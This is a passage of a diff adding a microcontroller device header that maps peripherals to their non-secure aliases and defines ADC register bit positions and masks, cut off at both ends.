UART12_NS +#define UART12_BASE UART12_BASE_NS + +#define CEC CEC_NS +#define CEC_BASE CEC_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I3C1 I3C1_NS +#define I3C1_BASE I3C1_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define FDCAN2 FDCAN2_NS +#define FDCAN2_BASE FDCAN2_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPTIM5 LPTIM5_NS +#define LPTIM5_BASE LPTIM5_BASE_NS + +#define LPTIM6 LPTIM6_NS +#define LPTIM6_BASE LPTIM6_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SBS SBS_NS +#define SBS_BASE SBS_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define USB_DRD_FS USB_DRD_FS_NS +#define USB_DRD_BASE USB_DRD_BASE_NS +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_NS +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define AES AES_NS +#define AES_BASE AES_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SAES SAES_NS +#define SAES_BASE SAES_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + +#define OTFDEC1 OTFDEC1_NS +#define OTFDEC1_BASE OTFDEC1_BASE_NS + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_NS +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_NS + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_NS +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_NS + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_NS +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_NS + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_NS +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_NS + + +#define ETH ETH_NS +#define ETH_BASE ETH_BASE_NS +#define ETH_MAC ETH_MAC_NS +#define ETH_MAC_BASE ETH_MAC_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define FMC_Bank5_6_R FMC_Bank5_6_R_NS +#define FMC_Bank5_6_R_BASE FMC_Bank5_6_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#endif + + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +#define ADC_MULTIMODE_SUPPORT /*!< ADC feature available only on specific devices: multimode available on devices with several ADC instances */ +/******************** Bit definition for ADC_ISR register *******************/ +#define ADC_ISR_ADRDY_Pos (0U) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC ready flag */ +#define ADC_ISR_EOSMP_Pos (1U) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC group regular end of sampling flag */ +#define ADC_ISR_EOC_Pos (2U) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC group regular end of unitary conversion flag */ +#define ADC_ISR_EOS_Pos (3U) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC group regular end of sequence conversions flag */ +#define ADC_ISR_OVR_Pos (4U) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC group regular overrun flag */ +#define ADC_ISR_JEOC_Pos (5U) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC group injected end of unitary conversion flag */ +#define ADC_ISR_JEOS_Pos (6U) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC group injected end of sequence conversions flag */ +#define ADC_ISR_AWD1_Pos (7U) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8U) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9U) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10U) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_IER register *******************/ +#define ADC_IER_ADRDYIE_Pos (0U) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC ready interrupt */ +#define ADC_IER_EOSMPIE_Pos (1U) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC group regular end of sampling interrupt */ +#define ADC_IER_EOCIE_Pos (2U) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC group regular end of unitary conversion interrupt */ +#define ADC_IER_EOSIE_Pos (3U) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC group regular end of sequence conversions interrupt */ +#define ADC_IER_OVRIE_Pos (4U) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC group regular overrun interrupt */ +#define ADC_IER_JEOCIE_Pos (5U) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC group injected end of unitary conversion interrupt */ +#define ADC_IER_JEOSIE_Pos (6U) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC group injected end of sequence conversions interrupt */ +#define ADC_IER_AWD1IE_Pos (7U) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC analog watchdog 1 interrupt */ +#define ADC_IER_AWD2IE_Pos (8U) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC analog watchdog 2 interrupt */ +#define ADC_IER_AWD3IE_Pos (9U) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC analog watchdog 3 interrupt */ +#define ADC_IER_JQOVFIE_Pos (10U) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC group injected contexts queue overflow interrupt */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0U) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC enable */ +#define ADC_CR_ADDIS_Pos (1U) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC disable */ +#define ADC_CR_ADSTART_Pos (2U) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC group regular conversion start */ +#define ADC_CR_JADSTART_Pos (3U) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC group injected conversion start */ +#define ADC_CR_ADSTP_Pos (4U) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC group regular conversion stop */ +#define ADC_CR_JADSTP_Pos (5U) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC group injected conversion stop */ +#define ADC_CR_ADVREGEN_Pos (28U) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC voltage regulator enable */ +#define ADC_CR_DEEPPWD_Pos (29U) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC deep power down enable */ +#define ADC_CR_ADCALDIF_Pos (30U) +#define ADC_CR_ADCALDIF_Msk (0x1UL << ADC_CR_ADCALDIF_Pos) /*!< 0x40000000 */ +#define ADC_CR_ADCALDIF ADC_CR_ADCALDIF_Msk /*!< ADC differential mode for calibration */ +#define ADC_CR_ADCAL_Pos (31U) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC calibration */ + +/******************** Bit definition for ADC_CFGR register ******************/ +#define ADC_CFGR_DMAEN_Pos (0U) +#define ADC_CFGR_DMAEN_Msk (0x1UL << ADC_CFGR_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC_CFGR_DMAEN ADC_CFGR_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC_CFGR_DMACFG_Pos (1U) +#define ADC_CFGR_DMACFG_Msk (0x1UL << ADC_CFGR_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC_CFGR_DMACFG ADC_CFGR_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC_CFGR_RES_Pos (3U) +#define ADC_CFGR_RES_Msk (0x3UL << ADC_CFGR_RES_Pos) /*!< 0x00000018 */ +#define ADC_CFGR_RES ADC_CFGR_RES_Msk /*!< ADC data resolution */ +#define ADC_CFGR_RES_0 (0x1UL << ADC_CFGR_RES_Pos) /*!< 0x00000008 */ +#define ADC_CFGR_RES_1 (0x2UL << ADC_CFGR_RES_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR_EXTSEL_Pos (5U) +#define ADC_CFGR_EXTSEL_Msk (0x1FUL << ADC_CFGR_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR_EXTSEL ADC_CFGR_EXTSEL_Msk /*!< ADC group regular external trigger source */ +#define ADC_CFGR_EXTSEL_0 (0x1UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR_EXTSEL_1 (0x2UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR_EXTSEL_2 (0x4UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR_EXTSEL_3 (0x8UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR_EXTSEL_4 (0x10UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR_EXTEN_Pos (10U) +#define ADC_CFGR_EXTEN_Msk (0x3UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR_EXTEN ADC_CFGR_EXTEN_Msk /*!< ADC group regular external trigger polarity */ +#define ADC_CFGR_EXTEN_0 (0x1UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR_EXTEN_1 (0x2UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR_OVRMOD_Pos (12U) +#define ADC_CFGR_OVRMOD_Msk (0x1UL << ADC_CFGR_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR_OVRMOD ADC_CFGR_OVRMOD_Msk /*!< ADC group regular overrun configuration */ +#define ADC_CFGR_CONT_Pos (13U) +#define ADC_CFGR_CONT_Msk (0x1UL << ADC_CFGR_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR_CONT ADC_CFGR_CONT_Msk /*!< ADC group regular continuous conversion mode */ +#define ADC_CFGR_AUTDLY_Pos (14U) +#define ADC_CFGR_AUTDLY_Msk (0x1UL << ADC_CFGR_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR_AUTDLY ADC_CFGR_AUTDLY_Msk /*!< ADC low power auto wait */ +#define ADC_CFGR_ALIGN_Pos (15U) +#define ADC_CFGR_ALIGN_Msk (0x1UL << ADC_CFGR_ALIGN_Pos) /*!< 0x00008000 */ +#define ADC_CFGR_ALIGN ADC_CFGR_ALIGN_Msk /*!< ADC data alignment */ +#define ADC_CFGR_DISCEN_Pos (16U) +#define ADC_CFGR_DISCEN_Msk (0x1UL << ADC_CFGR_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR_DISCEN ADC_CFGR_DISCEN_Msk /*!< ADC group regular sequencer discontinuous mode */ + +#define ADC_CFGR_DISCNUM_Pos (17U) +#define ADC_CFGR_DISCNUM_Msk (0x7UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR_DISCNUM ADC_CFGR_DISCNUM_Msk /*!< ADC group regular sequencer discontinuous number of ranks */ +#define ADC_CFGR_DISCNUM_0 (0x1UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR_DISCNUM_1 (0x2UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR_DISCNUM_2 (0x4UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR_JDISCEN_Pos (20U) +#define ADC_CFGR_JDISCEN_Msk (0x1UL << ADC_CFGR_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR_JDISCEN ADC_CFGR_JDISCEN_Msk /*!< ADC group injected sequencer discontinuous mode */ +#define ADC_CFGR_JQM_Pos (21U) +#define ADC_CFGR_JQM_Msk (0x1UL << ADC_CFGR_JQM_Pos) /*!< 0x00200000 */ +#define ADC_CFGR_JQM ADC_CFGR_JQM_Msk /*!< ADC group injected contexts queue mode */ +#define ADC_CFGR_AWD1SGL_Pos (22U) +#define ADC_CFGR_AWD1SGL_Msk (0x1UL << ADC_CFGR_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR_AWD1SGL ADC_CFGR_AWD1SGL_Msk /*!< ADC analog watchdog 1 monitoring a single channel or all channels */ +#define ADC_CFGR_AWD1EN_Pos (23U) +#define ADC_CFGR_AWD1EN_Msk (0x1UL << ADC_CFGR_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR_AWD1EN ADC_CFGR_AWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group regular */ +#define ADC_CFGR_JAWD1EN_Pos (24U) +#define ADC_CFGR_JAWD1EN_Msk (0x1UL << ADC_CFGR_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR_JAWD1EN ADC_CFGR_JAWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group injected */ +#define ADC_CFGR_JAUTO_Pos (25U) +#define ADC_CFGR_JAUTO_Msk (0x1UL << ADC_CFGR_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR_JAUTO ADC_CFGR_JAUTO_Msk /*!< ADC group injected automatic trigger mode */ + +#define ADC_CFGR_AWD1CH_Pos (26U) +#define ADC_CFGR_AWD1CH_Msk (0x1FUL << ADC_CFGR_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR_AWD1CH ADC_CFGR_AWD1CH_Msk /*!< ADC analog watchdog 1 monitored channel selection */ +#define ADC_CFGR_AWD1CH_0 (0x01UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR_AWD1CH_1 (0x02UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR_AWD1CH_2 (0x04UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR_AWD1CH_3 (0x08UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR_AWD1CH_4 (0x10UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x40000000 */ + +#define ADC_CFGR_JQDIS_Pos (31U) +#define ADC_CFGR_JQDIS_Msk (0x1UL << ADC_CFGR_JQDIS_Pos) /*!< 0x80000000 */ +#define ADC_CFGR_JQDIS ADC_CFGR_JQDIS_Msk /*!< ADC group injected contexts queue disable */ + +/******************** Bit definition for ADC_CFGR2 register *****************/ +#define ADC_CFGR2_ROVSE_Pos (0U) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC oversampler enable on scope ADC group regular */ +#define ADC_CFGR2_JOVSE_Pos (1U) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC oversampler enable on scope ADC group injected */ + +#define ADC_CFGR2_OVSR_Pos (2U) +#define ADC_CFGR2_OVSR_Msk (0x7UL << ADC_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC_CFGR2_OVSR_0 (0x1UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC_CFGR2_OVSR_1 (0x2UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC_CFGR2_OVSR_2 (0x4UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR2_OVSS_Pos (5U) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9U) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC oversampling discontinuous mode (triggered mode) for ADC group regular */ +#define ADC_CFGR2_ROVSM_Pos (10U) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC oversampling mode managing interlaced conversions of ADC group regular and group injected */ + +#define ADC_CFGR2_GCOMP_Pos (16U) +#define ADC_CFGR2_GCOMP_Msk (0x1UL << ADC_CFGR2_GCOMP_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_GCOMP ADC_CFGR2_GCOMP_Msk /*!< ADC Gain Compensation mode */ + +#define ADC_CFGR2_SWTRIG_Pos (25U) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x02000000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software Trigger Bit for Sample time control trigger mode */ +#define ADC_CFGR2_BULB_Pos (26U) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x04000000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ +#define ADC_CFGR2_SMPTRIG_Pos (27U) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sample Time Control Trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (29U) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC Low Frequency Trigger */ + +/******************** Bit definition for ADC_SMPR1 register *****************/ +#define ADC_SMPR1_SMP0_Pos (0U) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC channel 0 sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3U) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC channel 1 sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6U) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC channel 2 sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9U) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC channel 3 sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12U) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC channel 4 sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15U) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC channel 5 sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18U) +#define 